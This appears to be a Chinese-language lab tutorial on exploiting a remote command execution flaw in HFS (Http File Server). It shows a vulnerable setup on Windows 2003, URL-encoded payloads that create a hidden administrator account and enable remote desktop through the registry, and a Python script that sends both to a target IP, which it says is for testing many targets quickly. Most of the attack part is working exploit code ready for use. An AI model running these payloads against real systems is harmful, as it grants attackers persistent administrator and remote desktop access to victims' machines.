介绍:HFS是Http File Server 通过英文我们大概就知道了是依靠HTTP传输的文件服务器。

搭建:下载具有漏洞的版本,搭建在windows 2003上,版本下载地址:

https://lanzoux.com/id2vsih

环境搭建好后,首先进行测试一下,查看本地用户:

image.png

可以看到本地并没有hack 这个用户,那么我们把hack用户添加进去,在win2003的本地浏览器输入下面的命令:

http://127.0.0.1/?search==%00{.exec|cmd /c net user hack 123 /add.}

然后再查看一下可以看到已经把hack用户添加进去了

image.png

说明漏洞平台搭建成功了。

接下来是脚本的编写,脚本的编写基于添加用户TechSupport,和开启3389端口exp如下:

添加用户:
GET /?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20TechSupport%20comeonbaby%20/add%20%26%20net%20localgroup%20administrators%20TechSupport%20/add.%7D
开3389:
GET /?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSConnections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D

利用exp我们可以写脚本,利用脚本我们可以快速的对多个目标进行测试,python代码如下代码的意思我给标出来了:

import requests
url="http://192.168.79.185"  # 接收url
user_add="/?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20TechSupport%20comeonbaby%20/add%20%26%20net%20localgroup%20administrators%20TechSupport%20/add.%7D"
open_3389="/?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSConnections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D"
# add_user和open_3389 是两个exp

url_adduser=url+user_add
url_open3389=url+open_3389  # 拼接好url

''' 然后进行请求#下面两个函数是自定义函数'''
def adderuser():
        code=requests.get(url_adduser).status_code
        if code==200:    # 依靠状态码判断是否成功
             print("addusr  success")
        else:
             print("adderuser fail")
def open3389():
        code1=requests.get(url_open3389).status_code
        if code1==200:
                print("open  success")
        else:
                print("open fail")
adderuser()
open3389() # 两个函数执行

验证:

image.png

image.png

可以看到目标机并没有用户TechSupport 也没有开启3389端口,那么我们执行脚本

image.png

image.png

可以看到漏洞利用成功了。